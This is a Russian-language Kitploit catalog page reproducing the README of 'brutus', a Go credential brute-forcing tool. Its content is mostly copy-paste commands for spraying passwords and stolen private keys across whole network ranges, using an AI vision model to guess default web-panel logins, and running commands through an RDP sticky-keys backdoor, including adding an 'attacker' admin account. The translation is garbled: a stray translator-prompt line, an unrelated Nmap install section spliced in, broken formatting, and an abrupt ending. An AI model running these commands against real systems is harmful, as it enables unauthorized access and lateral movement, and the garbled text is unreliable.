Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
brutus — Быстрый инструмент для тестирования учетных данных с нулевыми зависимостями на Go. Брутфорс SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB и 20+ протоколов. Альтернатива Hydra с нативной интеграцией конвейера nerva/naabu. | Kitploit
Инструменты/GitHubGitHub/praetorian-inc/brutus
Сканеры уязвимостейАтаки на ПаролиЭксплуатацияЛатеральное перемещениеСбор информацииСетевая безопасностьТестирование на ПроникновениеУтилиты и фреймворкиАутентификацияRed Teaming
GitHubpraetorian-inc/brutus
3074183 ч 13 мин назадПроверено Kitploit

brutus

Быстрый инструмент для тестирования учетных данных с нулевыми зависимостями на Go. Брутфорс SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB и 20+ протоколов. Альтернатива Hydra с нативной интеграцией конвейера nerva/naabu.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Brutus - Социальный

Brutus

"Et tu, Brute?" — Последние слова перед падением учётных данных.

Современный инструмент для тестирования учётных данных на чистом Go

Установка • Быстрый старт • Конвейер • Протоколы • Перебор • Прокси • Библиотека


Обзор

Brutus — это многопротокольный инструмент для тестирования аутентификации, созданный для устранения критического пробела в инструментарии атакующей безопасности: эффективной проверки учётных данных через разнообразные сетевые сервисы. В то время как инструментов, ориентированных на HTTP, предостаточно, специалисты по пентестам и операторы красных команд часто сталкиваются с базами данных, SSH, SMB и другими сетевыми сервисами, требующими специализированных возможностей тестирования аутентификации.

Написанный на Go как единый бинарный файл без внешних зависимостей, Brutus бесшовно интегрируется с Nerva для автоматического обнаружения сервисов, позволяя операторам быстро выявлять и тестировать векторы аутентификации во всём диапазоне сети.

Ключевые возможности:

  • Ноль зависимостей: Единый бинарный файл, кроссплатформенность (Linux, Windows, macOS)
  • 27 протоколов: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth и другие
  • Поддержка прокси SOCKS5: Маршрутизация всего трафика через прокси SOCKS5 с опцией --proxy
  • Режимы агрессивности: --mode cautious|default|aggressive для настройки покрытия и безопасности
  • Интеграция с конвейером: Нативная поддержка рабочих процессов Nerva, naabu, nmap и masscan
  • Встроенные плохие ключи: Встроенная коллекция известных SSH-ключей (Vagrant, F5, ExaGrid и т.д.)
  • Перебор учётных записей: Оракул существования учётных записей, перебор пользователей Kerberos, генерация email, аутентификация через код устройства Microsoft Teams/Entra ID
  • Библиотека Go: Импортируйте напрямую в свои инструменты автоматизации безопасности
  • Готовность к производству: Ограничение скорости, пул соединений и всесторонняя обработка ошибок

  • Зачем Brutus?

    Традиционные инструменты, такие как THC Hydra, хорошо служили сообществу безопасности, но они сопряжены со значительными трудностями: сложные цепочки зависимостей, проблемы компиляции для разных платформ и отсутствие нативной интеграции с современными рекогносцировочными рабочими процессами.

    Brutus создан специально для современной атакующей безопасности:

    • Истинное развёртывание без зависимостей: Загрузите один бинарный файл и запускайте. Никаких libssh-dev, никаких libmysqlclient-dev, никаких ошибок компиляции. Работает идентично на Linux, macOS и Windows.

    • Нативная интеграция с конвейером: Brutus говорит на JSON и напрямую интегрируется с Nerva, naabu, nmap и masscan. Передавайте обнаруженные сервисы прямо в тестирование учётных данных без преобразования форматов или написания скриптов.

    • Встроенный интеллект: Известные плохие SSH-ключи (Vagrant, F5 BIG-IP, ExaGrid и т.д.) скомпилированы в бинарный файл. Используйте brutus badkeys для их тестирования на SSH-целях.

    • Проект, ориентированный на библиотеку: Импортируйте Brutus напрямую в свои инструменты безопасности на Go. Создавайте собственную автоматизацию без вызова внешних процессов.```bash

    Full network credential audit in one pipeline (JSON mode)

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

    Or use Nerva's default URI output — no --json flags needed

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

    root@kitploit:~
    ---
    
    ## Варианты использования
    
    ### Тестирование на проникновение
    - Проверка обнаруженных учетных данных в нескольких службах во время внутренних оценок
    - Тестирование шаблонов повторного использования паролей в службах баз данных и общих файловых ресурсах
    - Выявление учетных данных по умолчанию на вновь развернутой инфраструктуре
    
    ### Операции Red Team
    - Быстрая проверка учетных данных после утечек паролей или фишинговых кампаний
    - Тестирование возможностей бокового перемещения по сетевым службам
    - Проверка скомпрометированных учетных данных в гетерогенных средах
    
    ### Распыление закрытых ключей
    
    Нашли закрытый ключ на скомпрометированной системе? Распылите его по сети, чтобы узнать, где еще он предоставляет доступ:```bash
    # Discover SSH services and spray a found private key
    naabu -host 10.0.0.0/24 -p 22 -silent | \
      nerva --json | \
      brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
    

    Этот конвейер обнаруживает все SSH-сервисы, идентифицирует их с помощью Nerva и проверяет скомпрометированные ключи на распространённые имена пользователей — выявляя возможности для горизонтального перемещения за секунды.

    Тестирование панелей администрирования веб-приложений

    Определите HTTP-сервисы и проверьте учётные данные с помощью обнаружения на основе ИИ или вручную заданных списков учётных данных:```bash

    AI-powered: auto-detect devices and suggest default credentials

    naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
    nerva --json |
    brutus web --experimental-ai --json

    Manual: test specific credentials against web panels

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web -c "admin:admin,root:password" --json

    Default wordlist: test common credentials without AI or -c

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --json

    root@kitploit:~
    ### Проверка безопасности
    - Тестирование стандартных учетных данных на вновь развернутых службах
    - Проверка соблюдения политики паролей на разных платформах
    - Создание журналов аудита для соответствия требованиям и оценки безопасности
    
    ---
    
    ## Установка
    
    ### Предварительно собранные двоичные файлы (рекомендуется)
    
    Скачать из [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
    # Linux (amd64)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Apple Silicon)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Intel)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    

    Установка через APT-репозитории

    В системах на базе Debian Nmap также можно установить с помощью пакетного менеджера APT, хотя рекомендуется загрузить последнюю версию напрямую из официального репозитория. Внимание: Версия в репозитории APT может быть устаревшей. Используйте официальный репозиторий, чтобы получить самые актуальные инструменты.

    Пошаговая инструкция

    Предварительные требования

    • Убедитесь, что установлены пакеты curl и gnupg:

      root@kitploit:~
      sudo apt install curl gnupg -y
      
    • Если эти инструменты уже установлены, этот шаг можно пропустить.

    Добавление официального репозитория Nmap

    • Сначала импортируйте GPG-ключ:

      root@kitploit:~
      curl -fsSL https://nmap.org/dist/nmap-gpg-key.asc | sudo gpg --dearmor -o /usr/share/keyrings/nmap-archive-keyring.gpg
      
    • Затем добавьте репозиторий:

      root@kitploit:~
      echo "deb [signed-by=/usr/share/keyrings/nmap-archive-keyring.gpg] https://nmap.org/debian stable main" | sudo tee /etc/apt/sources.list.d/nmap.list > /dev/null
      

    Установка Nmap

    • Обновите список пакетов и установите Nmap:

      root@kitploit:~
      sudo apt update
      sudo apt install nmap -y
      ``````powershell
      

    Windows (PowerShell)

    Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

    root@kitploit:~
    ### Установка Go```bash
    go install github.com/praetorian-inc/brutus/cmd/brutus@latest
    

    Быстрый старт

    Подкоманды

    Brutus организует свои функции в шесть целенаправленных подкоманд:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

    root@kitploit:~
    Каждая подкоманда имеет псевдонимы для удобства поиска:
    
    | Подкоманда | Псевдонимы |
    |------------|---------|
    | `creds` | `services`, `defaults`, `credentials` |
    | `web` | `http`, `panels` |
    | `snmp` | `community` |
    | `badkeys` | `keys`, `ssh-keys`, `badkey` |
    | `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
    | `enum` | *(нет)* |```bash
    # Test SSH credentials
    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
    
    # Test HTTP web panel with AI credential detection
    brutus web --target 192.168.1.1:80 --experimental-ai
    
    # Test HTTP web panel with manual credentials
    brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
    
    # Test SNMP community strings
    brutus snmp --target 192.168.1.1:161 --mode aggressive
    
    # Detect Windows logon-screen backdoors
    brutus logon --target 10.0.0.50:3389
    
    # Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
    naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    Базовое использование```bash

    Test SSH with default credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh

    Test with specific credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

    Test with username and password lists

    brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

    Test MySQL database

    brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

    Test SSH with a specific private key

    brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

    Increase threads for faster testing

    brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

    JSON output for scripting

    brutus creds --target 192.168.1.100:22 --protocol ssh --json

    root@kitploit:~
    ### Пример вывода```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
    [+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
    

    С подробным режимом (-v):``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

    root@kitploit:~
    Вывод JSON для интеграции с конвейером (выводятся только успешные учётные данные):```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    

    Интеграция конвейера

    Brutus бесшовно интегрируется с Nerva и naabu для полной разведки сети.

    Реальные сценарии использования

    Сценарий 1: Сканирование корпоративной сети /24```bash

    Discover all open ports, identify services, test default credentials

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva --json |
    brutus creds --json -o results.json

    Same pipeline using Nerva's default URI output (no --json needed)

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva | brutus creds -o results.json

    Review findings (all output is successful credentials)

    cat results.json | jq '.'

    root@kitploit:~
    #### Сценарий 2: Разведка баг-баунти на целевом домене```bash
    # Full pipeline against a single target
    naabu -host target.example.com -top-ports 1000 -silent | \
      nerva --json | \
      brutus creds
    
    # Or scan a list of subdomains
    cat subdomains.txt | naabu -silent | nerva --json | brutus creds
    

    Сценарий 3: Охота за базами данных во внутренней оценке```bash

    Find and test all databases in a range

    naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
    nerva --json |
    brutus creds -t 5 --json |
    tee database-findings.json

    Extract credentials in readable format

    jq -r '"(.target) (.username):(.password)"' database-findings.json

    root@kitploit:~
    #### Сценарий 4: Тестирование SSH-ключей по всей инфраструктуре```bash
    # Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
    naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
      nerva --json | \
      brutus badkeys --json -o ssh-key-findings.json
    
    # Find systems using compromised SSH keys (key field is true)
    cat ssh-key-findings.json | jq 'select(.key == true)'
    

    Сценарий 5: Целевое тестирование сервисов```bash

    Test only Redis instances found in the network

    naabu -host 172.16.0.0/12 -p 6379 -silent |
    nerva --json |
    brutus creds

    Test only MongoDB with custom credentials

    naabu -host 10.0.0.0/24 -p 27017 -silent |
    nerva --json |
    brutus creds -u admin,root,mongodb -p admin,password,mongodb

    root@kitploit:~
    ### Scan Tool Import (Nmap & Masscan)
    
    Brutus может импортировать цели непосредственно из выходных файлов сканирования **nmap** и **masscan**, устраняя необходимость в преобразовании форматов или промежуточных инструментах.
    
    #### Nmap XML Import (`--nmap-file`)
    
    Импорт целей из вывода nmap в формате XML (`-oX`). Nmap предоставляет идентификацию служб, поэтому Brutus автоматически сопоставляет обнаруженные службы с правильным протоколом:```bash
    # Run an nmap service scan
    nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
    
    # Feed nmap results directly to Brutus
    brutus creds --nmap-file scan.xml -P passwords.txt
    
    # Test web services from nmap scan
    brutus web --nmap-file scan.xml -c "admin:admin,root:password"
    
    # Test SNMP from nmap scan
    brutus snmp --nmap-file scan.xml --mode aggressive
    
    # JSON output for scripting
    brutus creds --nmap-file scan.xml --json -o results.json
    

    Имена служб Nmap автоматически сопоставляются с протоколами Brutus (например, ms-wbt-server → rdp, microsoft-ds → smb). TLS обнаруживается по атрибуту tunnel="ssl" nmap. Импортируются только открытые порты на активных хостах.

    Импорт JSON из Masscan (--masscan-file)

    Импортируйте цели из вывода JSON masscan (-oJ). Поскольку masscan является только сканером портов (без определения служб), вы должны либо указать --protocol, либо позволить Brutus автоматически определять протоколы с помощью Nerva:```bash

    Run a masscan port scan

    masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

    Test all discovered ports as SSH (when you know what's running)

    brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

    Auto-fingerprint with Nerva (when services are unknown)

    brutus creds --masscan-file scan.json -P passwords.txt

    root@kitploit:~
    #### Комбинирование с другими рабочими процессами
    
    Флаги `--nmap-file` и `--masscan-file` работают со всеми подкомандами и являются взаимоисключающими с `--target`, `--targets-file` и stdin:```bash
    # Scan for RDP backdoors from nmap results
    brutus logon --nmap-file scan.xml
    
    # Test SSH bad keys from nmap results
    brutus badkeys --nmap-file scan.xml
    
    # Override protocol for all masscan targets
    brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
    

    Формат входных данных конвейера

    Brutus принимает несколько форматов входных данных из stdin:

    Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

    root@kitploit:~
    **Nerva URI** (стандартный вывод Nerva, `--json` не требуется):```bash
    # Nerva outputs URI-scheme lines by default
    $ echo "github.com:22" | nerva
    ssh://github.com:22 (20.205.243.166)
    
    # Pipe directly to Brutus — protocol is extracted from the URI scheme
    echo "10.0.0.1:22" | nerva | brutus creds
    echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
    

    Чистые цели (автоматически идентифицированные по отпечатку с помощью Nerva):```bash echo "192.168.1.100:22" | brutus creds

    root@kitploit:~
    Brutus автоматически:
    - Разбирает JSON, URI-схемы и форматы чистых целей
    - Сопоставляет службы с протоколами
    - Тестирует соответствующие учетные данные по умолчанию
    - Выводит результаты в соответствующем JSON-формате
    
    ### Формат вывода конвейера
    
    Brutus выводит только успешные учетные данные в формате JSONL (один JSON-объект на строку):```bash
    # Brutus JSON output (with --json flag) - only successful authentications
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    {"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
    {"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
    

    Примечание: Неудачные попытки аутентификации не включаются в вывод JSON. Поле key появляется (как true), когда аутентификация использует SSH-ключ вместо пароля. Поле llm_suggested появляется (как true), когда учетные данные были предложены системой ИИ (--experimental-ai).


    Сравнение

    ОсобенностьHydraMedusaNcrackBrutus
    Один бинарный файл❌❌❌✅
    Ноль зависимостей❌❌❌✅
    SOCKS5 прокси✅❌❌✅
    Конвейер Nerva❌❌❌✅
    Импорт из Nmap/Masscan❌❌❌✅
    Потоковый JSON⚠️❌❌✅
    Кроссплатформенность⚠️⚠️⚠️✅
    Согласованные ошибки⚠️⚠️⚠️✅
    Активная разработка✅⚠️❌✅
    Встроенные неверные ключи❌❌❌✅
    Импорт Go-библиотеки❌❌❌✅

    Поддерживаемые протоколы

    Brutus поддерживает 27 протоколов:

    Сетевые сервисы

    ПротоколПортМетоды аутентификацииИспользование
    SSH22Пароль, закрытые ключиСерверы, сетевое оборудование
    FTP21ПарольФайловые серверы, NAS
    Telnet23ПарольУстаревшие системы, IoT
    VNC5900ПарольУдаленные рабочие столы
    RDP3389NLA/CredSSP, ПарольWindows-серверы, рабочие станции
    SNMP161Community StringСетевые устройства, принтеры

    Веб-сервисы

    ПротоколПортМетоды аутентификацииИспользование
    HTTP80Basic AuthПанели администрирования (Grafana, Jenkins и т.д.)
    HTTPS443Basic AuthЗащищенные панели администрирования

    Корпоративная инфраструктура

    ПротоколПортМетоды аутентификацииИспользование
    SMB445Пароль, NTLMСети Windows, файловые ресурсы
    LDAP389/636Bind DNActive Directory, идентификация
    WinRM5985/5986NTLMУдаленное управление Windows

    Базы данных

    ПротоколПортМетоды аутентификацииИспользование
    MySQL3306ПарольВеб-приложения
    PostgreSQL5432ПарольСовременные приложения
    MSSQL1433ПарольКорпоративные приложения
    MongoDB27017ПарольБэкенды NoSQL
    Redis6379ПарольКэширование, сессии
    Neo4j7687ПарольГрафовые базы данных
    Cassandra9042ПарольРаспределенные базы данных
    CouchDB5984HTTP BasicХранилища документов
    Elasticsearch9200HTTP BasicПоисковые движки
    InfluxDB8086HTTP BasicВременные ряды
    Oracle1521ПарольКорпоративные базы данных

    Контейнеры и оркестрация

    ПротоколПортМетоды аутентификацииИспользование
    Docker2375/2376Без аутентификацииОткрытые Docker-демоны
    Kubernetes6443/10250Без аутентификацииОткрытые K8s API/kubelet

    Коммуникации

    ПротоколПортМетоды аутентификацииИспользование
    SMTP25/587ПарольПочтовый релей
    IMAP143/993ПарольДоступ к почтовым ящикам
    POP3110/995ПарольДоступ к почтовым ящикам

    Встроенные небезопасные SSH-ключи

    Развертывание в виде одного бинарного файла без необходимости во внешних файлах ключей. Каждый ключ сопоставлен с именем пользователя по умолчанию для интеллектуального сопоставления учетных данных, а отслеживание CVE позволяет выполнять запросы на соответствие требованиям.

    Brutus содержит встроенные в бинарный файл коллекции ключей rapid7/ssh-badkeys и Vagrant:```bash

    Test bad keys against a single target

    brutus badkeys --target 192.168.1.100:22

    Pipeline mode: scan a range for compromised SSH keys

    naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

    Test credentials (bad keys are NOT included in creds mode)

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

    root@kitploit:~
    ### Встроенные коллекции ключей
    
    | Продукт | CVE | Пользователь по умолчанию | Описание |
    |---------|-----|--------------------------|----------|
    | Vagrant | - | vagrant, root | Небезопасный ключ HashiCorp Vagrant |
    | F5 BIG-IP | CVE-2012-1493 | root | Статический ключ SSH хоста |
    | ExaGrid | CVE-2016-1561 | root | Бэкдор в устройстве резервного копирования |
    | Monroe DASDEC | CVE-2013-0137 | root | Системы экстренного оповещения |
    | Barracuda | CVE-2014-8428 | cluster | Балансировщик нагрузки VM |
    | Ceragon FibeAir | CVE-2015-0936 | mateidu | Беспроводная транспортная сеть |
    | Array Networks | - | sync | Аппаратные решения vAPV/vxAG |
    | Quantum DXi | - | root | Устройства дедупликации |
    | Loadbalancer.org | - | root | Корпоративные балансировщики нагрузки |
    
    ---
    
    ## Режимы агрессивности
    
    Глобальный флаг `--mode` (`-m`) управляет агрессивностью во всех подкомандах. Он задаёт предустановки настройки производительности, балансируя между покрытием и безопасностью:
    
    | Режим | Потоки | Тайм-аут | Лимит запросов | Джиттер | Повторы | Сценарий использования |
    |------|---------|----------|----------------|---------|---------|------------------------|
    | `cautious` | 5 | 15s | 2 запр/с | 500мс | 1 | Рабочие среды, избегание блокировок |
    | `default` | 10 | 10s | Без лимита | Нет | 2 | Стандартное тестирование |
    | `aggressive` | 20 | 10s | Без лимита | Нет | 3 | Лабораторные/CTF среды, максимальное покрытие |
    
    Предустановки режимов применяются в первую очередь, затем любой явный аргумент CLI переопределяет их:```bash
    # Safe mode for production Active Directory (low concurrency, rate-limited)
    brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
    
    # Maximum coverage for a CTF
    brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
    
    # Cautious mode but override threads
    brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
    

    Для SNMP, режим также управляет глубиной встроенного списка слов (см. Тестирование SNMP Community String).


    Поддержка SOCKS5-прокси

    Флаг --proxy направляет все соединения через SOCKS5-прокси. Это работает для всех протоколов и подкоманд:```bash

    Route SSH testing through a SOCKS5 proxy

    brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

    Proxy with authentication

    brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

    DNS resolution on the proxy side (socks5h)

    brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

    Combine with pipeline input

    naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

    Works with all subcommands

    brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

    root@kitploit:~
    Supported schemes:
    - `socks5://` — Стандартный SOCKS5-прокси (разрешение DNS на стороне клиента)
    - `socks5h://` — SOCKS5 с удаленным разрешением DNS (полезно при работе с внутренними именами хостов)
    
    ---
    
    ## Тестирование SNMP Community String
    
    Подкоманда `snmp` предоставляет специализированное тестирование community strings для SNMP v1/v2c с многоуровневыми списками слов, управляемыми глобальным флагом `--mode`:
    
    | Режим | Строки | Охват |
    |------|---------|----------|
    | `cautious` | ~25 | Распространенные строки (public, private, community и т.д.) |
    | `default` | ~25 | То же, что и cautious |
    | `aggressive` | 200+ | Всесторонний (уникальные для вендоров, SCADA, IP-камеры, хранилища и т.д.) |```bash
    # Test with default community strings (~25)
    brutus snmp --target 192.168.1.1:161
    
    # Aggressive mode for comprehensive testing (200+)
    brutus snmp --target 10.0.0.1:161 --mode aggressive
    
    # Custom community strings
    brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
    
    # Custom community string file
    brutus snmp --target 192.168.1.1:161 -C community-strings.txt
    
    # Pipeline mode
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    Интеграция в качестве библиотеки

    Для разработчиков, создающих инструменты автоматизации безопасности, Brutus также можно импортировать как библиотеку Go:```bash go get github.com/praetorian-inc/brutus

    root@kitploit:~
    Please provide the Markdown content to translate.```go
    package main
    
    import (
        "fmt"
        "time"
    
        "github.com/praetorian-inc/brutus/pkg/brutus"
        _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
    )
    
    func main() {
        config := &brutus.Config{
            Target:        "192.168.1.100:22",
            Protocol:      "ssh",
            Usernames:     []string{"root", "admin"},
            Passwords:     []string{"password", "admin", "toor"},
            Timeout:       5 * time.Second,
            Threads:       10,
        }
    
        results, err := brutus.Brute(config)
        if err != nil {
            panic(err)
        }
    
        for _, r := range results {
            if r.Success {
                fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
            }
        }
    }
    

    Экспериментально: обнаружение учётных данных на основе ИИ

    ⚠️ Экспериментальная функция: Функции ИИ требуют внешних API-ключей и находятся в активной разработке.

    Флаг --experimental-ai

    Флаг --experimental-ai включает автоматическое обнаружение учётных данных для HTTP-сервисов:```bash

    Set up API keys

    export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

    AI-powered credential testing against HTTP services

    naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --experimental-ai

    root@kitploit:~
    **Как это работает:**
    
    1. **Обнаружение** — Brutus проверяет HTTP-цели для определения типа аутентификации (Basic Auth или форма)
    2. **Идентификация устройства** — Claude Vision анализирует скриншоты для определения устройства/приложения
    3. **Предложения учётных данных** — Claude предлагает стандартные учётные данные из своих обучающих данных
    4. **Опциональный веб-поиск** — Perplexity (если настроен) ищет дополнительные учётные данные в интернете
    5. **Тестирование** — Проверяет найденные учётные данные на целевой системе
    
    **Для целей с HTTP Basic Auth:**
    - Проверяет `/` для захвата HTTP-заголовков
    - Определяет устройство по заголовку Server, области WWW-Authenticate и т.д.
    - Claude предлагает вероятные стандартные учётные данные
    - Автоматически тестирует пары учётных данных
    
    **Для целей с аутентификацией через HTML-формы:**
    - Использует headless Chrome для рендеринга и создания скриншота страницы
    - Claude Vision определяет форму входа, тип устройства и предлагает учётные данные
    - Perplexity (опционально) ищет дополнительные стандартные учётные данные
    - Автоматизация браузера заполняет и отправляет форму
    
    **Требования:**
    - `ANTHROPIC_API_KEY` — **Обязательно** для Claude Vision (идентификация устройства + предложение учётных данных)
    - `PERPLEXITY_API_KEY` — *Опционально* для дополнительного веб-поиска
    - Установленный Chrome/Chromium (только для аутентификации через формы)
    
    **Не-HTTP протоколы (SSH, MySQL и т.д.) не затрагиваются параметром `--experimental-ai`** — они продолжают использовать стандартную проверку учётных данных.
    
    ---
    
    ## RDP: Обнаружение и эксплуатация бэкдора залипания клавиш
    
    Brutus включает автоматическое обнаружение **бэкдора залипания клавиш** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) на RDP-целях. Эта проверка выполняется до аутентификации на RDP-целях без NLA — учётные данные не требуются.
    
    **Как это работает:**
    
    1. Подключается к RDP-цели и устанавливает сеанс без NLA
    2. Захватывает изображение экрана входа в систему в качестве базового
    3. Отправляет 5-кратное нажатие Shift (триггер залипания клавиш)
    4. Захватывает изображение ответа
    5. Эвристический анализ определяет, появилось ли окно терминала (cmd.exe, PowerShell и т.д.)
    6. Опционально подтверждает через API Claude Vision (если задан `ANTHROPIC_API_KEY`)```bash
    # Detection only — no brute force
    brutus logon --target 10.0.0.50:3389
    
    # Detection + Vision API confirmation
    brutus logon --target 10.0.0.50:3389 --experimental-ai
    

    Режим только обнаружения: Подкоманда logon запускает обнаружение бэкдора залипания клавиш и utilman без перебора паролей:```bash

    Detection only (no brute force)

    brutus logon --target 10.0.0.50:3389

    root@kitploit:~
    **Результат обнаружения:**```
    [CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
    sethc.exe has been replaced with cmd.exe or similar.
    SYSTEM-level unauthenticated access available via 5x Shift.
    

    Выполнение команды через бэкдор (--exec)

    После обнаружения бэкдора выполните команду на удаленной системе через предварительно аутентифицированную командную строку:```bash

    Execute a single command via the backdoor

    brutus logon --target 10.0.0.50:3389 --exec "whoami"

    Add a local admin account

    brutus logon --target 10.0.0.50:3389
    --exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

    root@kitploit:~
    Это подключается, запускает бэкдор, вводит команду, нажимает Enter, ожидает вывода и сохраняет скриншот результата в формате PNG.
    
    ### Интерактивный веб-терминал (`--web`)
    
    Запустите браузерный RDP-просмотрщик для живого взаимодействия с командной строкой бэкдора:```bash
    # Start interactive web terminal
    brutus logon --target 10.0.0.50:3389 --web
    

    Это запускает локальный HTTP-сервер с:

    • Потоковое отображение экрана в реальном времени ~10 кадров/с (JPEG через WebSocket)
    • Полная передача нажатий клавиш (скан-коды PS/2, отображаемые из KeyboardEvent браузера)
    • Поддержка мыши (щелчок, перемещение, правый щелчок)
    • Статус подключения с наложением при отключении и кнопкой переподключения

    Откройте отображаемый URL (например, http://127.0.0.1:<port>) в любом браузере, чтобы взаимодействовать с удаленным сеансом RDP. Если сеанс отключается из-за тайм-аута простоя на стороне сервера, нажмите Переподключиться, чтобы установить новый сеанс.

    Примечание: Сеансы RDP без NLA имеют тайм-аут простоя на стороне сервера (значение по умолчанию Windows зависит от конфигурации, обычно управляется групповой политикой в Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Чтобы увеличить тайм-аут на тестовом целевом устройстве, установите MaxIdleTime в 0 в реестре:

    root@kitploit:~
